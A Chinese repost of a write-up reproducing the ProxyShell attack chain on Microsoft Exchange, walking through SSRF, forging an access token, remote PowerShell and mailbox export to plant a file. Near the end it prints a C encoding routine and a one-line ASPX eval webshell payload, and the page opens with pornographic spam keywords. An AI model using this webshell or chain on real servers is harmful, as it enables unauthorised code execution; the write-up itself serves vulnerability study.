日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【安全漏洞】ProxyShell漏洞复现详解

發(fā)布時(shí)間:2025/3/21 编程问答 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【安全漏洞】ProxyShell漏洞复现详解 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言

幾天前,Orange在他的BlackHat演講中又曝出了兩條Microsoft Exchange攻擊鏈,即ProxyOrcale和ProxyShell,前者主要用于Padding Orcale攻擊,后者則利用路徑混淆漏洞實(shí)現(xiàn)任意文件寫(xiě)入并最終執(zhí)行代碼。

本文假設(shè)讀者已經(jīng)閱讀了Orange的幻燈片,并對(duì)ProxyLogon具有基本的了解。

另外,請(qǐng)注意,出于顯而易見(jiàn)的原因,這里不會(huì)公開(kāi)相應(yīng)的exploit。相反,本文旨在分享我在復(fù)現(xiàn)RCE漏洞和編寫(xiě)exploit方面的經(jīng)驗(yàn)。

漏洞鏈

SSRF

這個(gè)攻擊是從利用一個(gè)SSRF漏洞開(kāi)始的,該漏洞是由于一些奇怪的URI解析造成的路徑混亂所致。

PowerShell端點(diǎn)

然后,通過(guò)訪問(wèn)內(nèi)部網(wǎng)絡(luò),我們可以嘗試訪問(wèn)/powershell端點(diǎn),從而實(shí)現(xiàn)與Exchange PowerShell之間的通信。請(qǐng)注意,由于Exchange的Powershell環(huán)境的緣故,我們可以運(yùn)行的命令是非常有限的。

通過(guò)利用SSRF漏洞,我們就能以NT Authroity/System的身份來(lái)訪問(wèn)/powershell端點(diǎn)。這在正常情況下是沒(méi)有問(wèn)題的,但在這種情況下,由于無(wú)法識(shí)別,因此無(wú)法通過(guò)身份驗(yàn)證。因此,我們需要降低我們的權(quán)限來(lái)獲得對(duì)端點(diǎn)的訪問(wèn)權(quán)限。

該端點(diǎn)需要一個(gè)名為X-CommonAccessToken的HTTP頭部,但我相信Exchange不會(huì)將這個(gè)頭部轉(zhuǎn)發(fā)到內(nèi)部后端服務(wù)器。然而,我們可以通過(guò)另一種方式獲得令牌:通過(guò)提供一個(gè)名為X-Rps-CAT的GET參數(shù),其中存放令牌內(nèi)容;之后,它將被反序列化并添加為X-CommonAccessToken。

執(zhí)行PowerShell命令

有了驗(yàn)證自己身份的方法,我們就可以更進(jìn)一步,嘗試實(shí)現(xiàn)代碼執(zhí)行。正如我之前所說(shuō),由于當(dāng)前環(huán)境下會(huì)受到各種限制,因此,我們可以利用的東西很少。但是,卻存在這樣一個(gè)命令:通過(guò)它,我們能夠在機(jī)器的任何位置寫(xiě)入文件……但是,文件只能是PST格式。

但是,PST文件并不是把所有的內(nèi)容都放以明文形式存放,相反,該格式會(huì)將文件內(nèi)容進(jìn)行編碼,這在微軟的官方文件中是有介紹的。

所以,我們可以先對(duì)payload進(jìn)行編碼,然后,在生成并被編碼PST文件時(shí),會(huì)對(duì)payload再次進(jìn)行編碼,這將使最終結(jié)果保持不變。

同時(shí),因?yàn)槲覀兛梢蕴峁┮粋€(gè)網(wǎng)絡(luò)共享,這意味著我們可以直接告訴Exchange導(dǎo)出文件到\127.0.0.1\C$\pathto\shell。這個(gè)webshell雖然不是很優(yōu)雅,但的確能用。

但在這之前,我們需要讓我們控制的用戶擁有導(dǎo)出郵件的權(quán)限。為此,我們需要借助于New-ManagementRoleAssignment,我們可以通過(guò)它把郵箱導(dǎo)入導(dǎo)出的角色分配給用戶。

發(fā)送Payload

解決了這個(gè)問(wèn)題后,我們就可以設(shè)法發(fā)送有效載荷。由于我們將利用New-MailExportRequest,所以,我們需要向要導(dǎo)出的郵箱里發(fā)送一封包含有效載荷的郵件。

我發(fā)現(xiàn),有兩種方法可以解決這個(gè)問(wèn)題。其中,一種方法是Orange使用的方法,發(fā)送一封郵件到地址,然后導(dǎo)出它。另一種方法,是Peter和Jang在Peter的博客中提出的方法:使用EWS來(lái)冒充用戶,并將包含有效負(fù)載的草稿保存為附件。

我決定采取第二種方法,因?yàn)樗臃奖恪?br />

復(fù)現(xiàn)漏洞

在上面的章節(jié)中,我已經(jīng)解釋了攻擊鏈的基本概念,現(xiàn)在是時(shí)候進(jìn)行復(fù)現(xiàn)了。

SSRF部分其實(shí)并不重要,它只是后面所有攻擊的入口,但本身并沒(méi)有什么技術(shù)上的挑戰(zhàn)。

構(gòu)造CommonAccessToken

所以,我們需要一個(gè)有效的令牌,但真正的問(wèn)題是:怎樣才能獲得一個(gè)有效的令牌呢?

為了抓去一個(gè)令牌示例,我設(shè)置了一些斷點(diǎn),攔截了Exchange內(nèi)部發(fā)送的一些請(qǐng)求。最后,得到了下面這樣一個(gè)令牌:

X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==

很明顯,這里使用了base64編碼;在解碼之后,我決定利用hexdump軟件進(jìn)行觀察,因?yàn)槠渲泻袛?shù)百萬(wàn)個(gè)不可打印的字符。

從hexdump中,我們可以看到一些關(guān)鍵字符串:Kerberos、Windows、usernames,以及一些SID。此外,還有一些以單個(gè)字母作為前導(dǎo)的數(shù)據(jù),這里假設(shè)其結(jié)構(gòu)為:Type-Length-Value。

我對(duì)一些DLL進(jìn)行了反匯編,以考察令牌是如何被序列化和反序列化的,并獲得一些大致的想法。其中,最令人感興趣的DLL是Microsoft.Exchange.Security.Authorization.dll。

在Deserialize函數(shù)中,我們可以看到V代表版本,T代表類(lèi)型,C代表壓縮的意思。

而E則代表擴(kuò)展數(shù)據(jù)的意思。

在WindowsAccessToken中,我們可以找到額外的信息。

其中,A代表認(rèn)證類(lèi)型,L代表登錄用戶,U代表用戶SID,最后,G代表組SID。

現(xiàn)在,我們已經(jīng)知道了令牌的格式,接下來(lái),我們將嘗試構(gòu)建自己的令牌。但現(xiàn)在問(wèn)題出現(xiàn)了:我們需要一個(gè)SID和組SID,對(duì)吧?

如果您關(guān)注過(guò)ProxyLogon的漏洞,就會(huì)知道如何去做了。我們可以通過(guò)發(fā)送一個(gè)請(qǐng)求給https://exchange/autodiscover/autodiscover.xml,首先獲得傳統(tǒng)的域名,然后,使用傳統(tǒng)的域名,通過(guò)發(fā)送另一個(gè)請(qǐng)求給https://exchange/mapi/emsmdb/,來(lái)找到用戶的SID。

那么組SID呢?嗯,在Windows中,用戶的SID是唯一的,但組的SID卻不是。例如,對(duì)于管理員組中的用戶,其組SID是S-1-5-32-544。順便說(shuō)一下,普通用戶的組SID是S-1-5-32-545。

所以,我們基本上掌握了所需的全部信息,那么,我們?cè)撊绾螛?gòu)建一個(gè)令牌呢?對(duì)于版本、類(lèi)型、壓縮、授權(quán)方面,我們可以保持原樣。實(shí)際上,我們只需要改變登錄名、用戶SID以及組SID。

下面是用來(lái)生成令牌的部分代碼:


我并沒(méi)有真正弄明白為什么組SID后面總是跟著\x00\x00\x07,在這一點(diǎn)上我真的太懶了。而且,這也不是很重要。

我們已經(jīng)成功偽造了自己的令牌,現(xiàn)在是時(shí)候測(cè)試一下,看看能否訪問(wèn)Powershell端點(diǎn)了。

如果響應(yīng)代碼是200,這意味著令牌已經(jīng)被接受,我們大功告成。否則,則可能需要進(jìn)行一些調(diào)試……

使用遠(yuǎn)程Powershell

下一個(gè)大任務(wù)是實(shí)現(xiàn)與Powershell端點(diǎn)的通信。實(shí)際上,該端點(diǎn)是通過(guò)WSMan協(xié)議的Powershell進(jìn)行遠(yuǎn)程通信的。而WSMan是一個(gè)基于HTTP與SOAP XML的協(xié)議,如果我們自己動(dòng)手實(shí)現(xiàn)該協(xié)議的話,將是一件非常痛苦的事情。

但我們很幸運(yùn),有人已經(jīng)完成了這項(xiàng)艱巨的工作。因?yàn)槲覀兛梢岳肞ython庫(kù)PyPSRP來(lái)完成相應(yīng)的工作。

不過(guò),我們還有一件事需要處理。由于WSMan是直接與目標(biāo)服務(wù)器進(jìn)行對(duì)話的,也就是說(shuō),很可能是通過(guò)HTTP與exchange:5985端口進(jìn)行通信的。但我們的情況有點(diǎn)不同。我們需要它與Powershell端點(diǎn)進(jìn)行通信,而不是其他端口。那么,我們?nèi)绾螌?shí)現(xiàn)這一點(diǎn)呢?

首先,我想看看請(qǐng)求是什么樣子的,所以,我在自己的機(jī)器上設(shè)置了一個(gè)本地監(jiān)聽(tīng)器,并發(fā)送了一個(gè)WinRM請(qǐng)求。在這個(gè)測(cè)試過(guò)程中使用的代碼如下所示:

實(shí)際上,username、password和auth段其實(shí)并不重要,因?yàn)檫@個(gè)請(qǐng)求不會(huì)發(fā)往外部。相反,我們只是想讓它發(fā)送至127.0.0.1:8080端口,用于測(cè)試。

事實(shí)證明,這個(gè)請(qǐng)求并沒(méi)有多大區(qū)別,我們只需要改變XML數(shù)據(jù)中的主機(jī)字段和一些URI數(shù)據(jù)即可。

但是,具體該怎么做呢?由于PyPSRP并不支持這種東西,所以,我希望借助于burp,這時(shí)我產(chǎn)生了一個(gè)想法:我可以為WinRM實(shí)現(xiàn)一個(gè)本地HTTP代理服務(wù)器。

下面是我畫(huà)的一個(gè)簡(jiǎn)單的示意圖:

下面給出HTTP服務(wù)器的代碼:

在編寫(xiě)exploit時(shí)遇到的另一個(gè)障礙是線程問(wèn)題。因?yàn)閳?zhí)行到http.service_forever()的時(shí)候,服務(wù)器就停止了;經(jīng)過(guò)一番研究,我想到一個(gè)辦法:在另一個(gè)線程中啟動(dòng)服務(wù)器,這樣就好了。

我還想指出,在執(zhí)行Powershell命令時(shí),一定要進(jìn)行必要的清理工作,比方說(shuō),刪除導(dǎo)出請(qǐng)求記錄。實(shí)際上,有一個(gè)Remove-MailboxExportRequest命令,可以用來(lái)刪除這些記錄。

發(fā)送Payload

我們需要向Exchange Web Service(EWS)發(fā)送一個(gè)XML請(qǐng)求,以創(chuàng)建一個(gè)帶有payload附件的電子郵件草稿。為了節(jié)省讀者的時(shí)間,因?yàn)槲乙呀?jīng)花了一天的時(shí)間在這上面,這里直接給出相應(yīng)的XML模板。它是在Peter提供的payload的基礎(chǔ)上改造而成的。

下一個(gè)部分代碼中含有我們的payload,它實(shí)際上就是一行ASPX webshell命令:

下一部分代碼,將對(duì)payload進(jìn)行編碼,所以,當(dāng)PST再次進(jìn)行編碼時(shí),將恢復(fù)為明文形式的payload。

在微軟的頁(yè)面上,我稍微修改了一下代碼,編譯并保存了二進(jìn)制數(shù)據(jù),然后對(duì)其進(jìn)行了base64編碼。

#include < stdio.h > #include < windows.h > #include < string.h >byte mpbbCrypt[] ={65, 54, 19, 98, 168, 33, 110, 187,244, 22, 204, 4, 127, 100, 232, 93,30, 242, 203, 42, 116, 197, 94, 53,210, 149, 71, 158, 150, 45, 154, 136,76, 125, 132, 63, 219, 172, 49, 182,72, 95, 246, 196, 216, 57, 139, 231,35, 59, 56, 142, 200, 193, 223, 37,177, 32, 165, 70, 96, 78, 156, 251,170, 211, 86, 81, 69, 124, 85, 0,7, 201, 43, 157, 133, 155, 9, 160,143, 173, 179, 15, 99, 171, 137, 75,215, 167, 21, 90, 113, 102, 66, 191,38, 74, 107, 152, 250, 234, 119, 83,178, 112, 5, 44, 253, 89, 58, 134,126, 206, 6, 235, 130, 120, 87, 199,141, 67, 175, 180, 28, 212, 91, 205,226, 233, 39, 79, 195, 8, 114, 128,207, 176, 239, 245, 40, 109, 190, 48,77, 52, 146, 213, 14, 60, 34, 50,229, 228, 249, 159, 194, 209, 10, 129,18, 225, 238, 145, 131, 118, 227, 151,230, 97, 138, 23, 121, 164, 183, 220,144, 122, 92, 140, 2, 166, 202, 105,222, 80, 26, 17, 147, 185, 82, 135,88, 252, 237, 29, 55, 73, 27, 106,224, 41, 51, 153, 189, 108, 217, 148,243, 64, 84, 111, 240, 198, 115, 184,214, 62, 101, 24, 68, 31, 221, 103,16, 241, 12, 25, 236, 174, 3, 161,20, 123, 169, 11, 255, 248, 163, 192,162, 1, 247, 46, 188, 36, 104, 117,13, 254, 186, 47, 181, 208, 218, 61,20, 83, 15, 86, 179, 200, 122, 156,235, 101, 72, 23, 22, 21, 159, 2,204, 84, 124, 131, 0, 13, 12, 11,162, 98, 168, 118, 219, 217, 237, 199,197, 164, 220, 172, 133, 116, 214, 208,167, 155, 174, 154, 150, 113, 102, 195,99, 153, 184, 221, 115, 146, 142, 132,125, 165, 94, 209, 93, 147, 177, 87,81, 80, 128, 137, 82, 148, 79, 78,10, 107, 188, 141, 127, 110, 71, 70,65, 64, 68, 1, 17, 203, 3, 63,247, 244, 225, 169, 143, 60, 58, 249,251, 240, 25, 48, 130, 9, 46, 201,157, 160, 134, 73, 238, 111, 77, 109,196, 45, 129, 52, 37, 135, 27, 136,170, 252, 6, 161, 18, 56, 253, 76,66, 114, 100, 19, 55, 36, 106, 117,119, 67, 255, 230, 180, 75, 54, 92,228, 216, 53, 61, 69, 185, 44, 236,183, 49, 43, 41, 7, 104, 163, 14,105, 123, 24, 158, 33, 57, 190, 40,26, 91, 120, 245, 35, 202, 42, 176,175, 62, 254, 4, 140, 231, 229, 152,50, 149, 211, 246, 74, 232, 166, 234,233, 243, 213, 47, 112, 32, 242, 31,5, 103, 173, 85, 16, 206, 205, 227,39, 59, 218, 186, 215, 194, 38, 212,145, 29, 210, 28, 34, 51, 248, 250,241, 90, 239, 207, 144, 182, 139, 181,189, 192, 191, 8, 151, 30, 108, 226,97, 224, 198, 193, 89, 171, 187, 88,222, 95, 223, 96, 121, 126, 178, 138,71, 241, 180, 230, 11, 106, 114, 72,133, 78, 158, 235, 226, 248, 148, 83,224, 187, 160, 2, 232, 90, 9, 171,219, 227, 186, 198, 124, 195, 16, 221,57, 5, 150, 48, 245, 55, 96, 130,140, 201, 19, 74, 107, 29, 243, 251,143, 38, 151, 202, 145, 23, 1, 196,50, 45, 110, 49, 149, 255, 217, 35,209, 0, 94, 121, 220, 68, 59, 26,40, 197, 97, 87, 32, 144, 61, 131,185, 67, 190, 103, 210, 70, 66, 118,192, 109, 91, 126, 178, 15, 22, 41,60, 169, 3, 84, 13, 218, 93, 223,246, 183, 199, 98, 205, 141, 6, 211,105, 92, 134, 214, 20, 247, 165, 102,117, 172, 177, 233, 69, 33, 112, 12,135, 159, 116, 164, 34, 76, 111, 191,31, 86, 170, 46, 179, 120, 51, 80,176, 163, 146, 188, 207, 25, 28, 167,99, 203, 30, 77, 62, 75, 27, 155,79, 231, 240, 238, 173, 58, 181, 89,4, 234, 64, 85, 37, 81, 229, 122,137, 56, 104, 82, 123, 252, 39, 174,215, 189, 250, 7, 244, 204, 142, 95,239, 53, 156, 132, 43, 21, 213, 119,52, 73, 182, 18, 10, 127, 113, 136,253, 157, 24, 65, 125, 147, 216, 88,44, 206, 254, 36, 175, 222, 184, 54,200, 161, 128, 166, 153, 152, 168, 47,14, 129, 101, 115, 228, 194, 162, 138,212, 225, 17, 208, 8, 139, 42, 242,237, 154, 100, 63, 193, 108, 249, 236};#define mpbbR (mpbbCrypt)#define mpbbS (mpbbCrypt + 256)#define mpbbI (mpbbCrypt + 512)void CryptPermute(PVOID pv, int cb, BOOL fEncrypt){// cb -> buffer size// pv -> bufferbyte * pb = (byte *)pv;byte * pbTable = fEncrypt ? mpbbR : mpbbI;const DWORD * pdw = (const DWORD *) pv;DWORD dwCurr;byte b;if (cb >= sizeof(DWORD)){while (0 != (((DWORD_PTR) pb) % sizeof(DWORD))){*pb = pbTable[*pb];pb++;cb--;}pdw = (const DWORD *) pb;for (; cb >= 4; cb -= 4){dwCurr = *pdw;b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;dwCurr = dwCurr >> 8; b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;dwCurr = dwCurr >> 8; b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;dwCurr = dwCurr >> 8; b = (byte) (dwCurr & 0xFF);*pb = pbTable[b];pb++;pdw++;}pb = (byte *) pdw;}for (; --cb >= 0; ++pb)*pb = pbTable[*pb]; }void main(){char[] payload = "< script language='JScript' runat='server' Page aspcompat=true >function Page_Load(){eval(Request['cmd'],'unsafe');}< /script >";int length = strlen(payload);CryptPermute(payload, length, false);printf(payload);}

最后,我真的搞不清楚什么是正確的編碼方式,只好進(jìn)行蠻力測(cè)試,直到有一個(gè)成功為止。

現(xiàn)在,漏洞鏈的每個(gè)部分都搞定了,終于可以把組合在一起進(jìn)行測(cè)試了。

測(cè)試結(jié)果


盡管webshell有點(diǎn)亂,但借助于正則表達(dá)式的威力,我們?nèi)匀豢梢缘玫揭粋€(gè)比較清晰的結(jié)果。

小結(jié)

這一次,我們根據(jù)其他研究人員的論文,實(shí)現(xiàn)了自己的漏洞利用方法。說(shuō)實(shí)話,這個(gè)攻擊鏈真的很酷,我在利用這個(gè)漏洞的過(guò)程中學(xué)到了很多東西。我非常感謝Peter的文章,也感謝Orange提供的這個(gè)驚人的攻擊鏈。希望本文對(duì)于大家理解這個(gè)漏洞能夠有所幫助。

我收集了相關(guān)的資料與工具,有需要的朋友可以關(guān)注私信我哦!!!

【資料詳細(xì)】

總結(jié)

以上是生活随笔為你收集整理的【安全漏洞】ProxyShell漏洞复现详解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。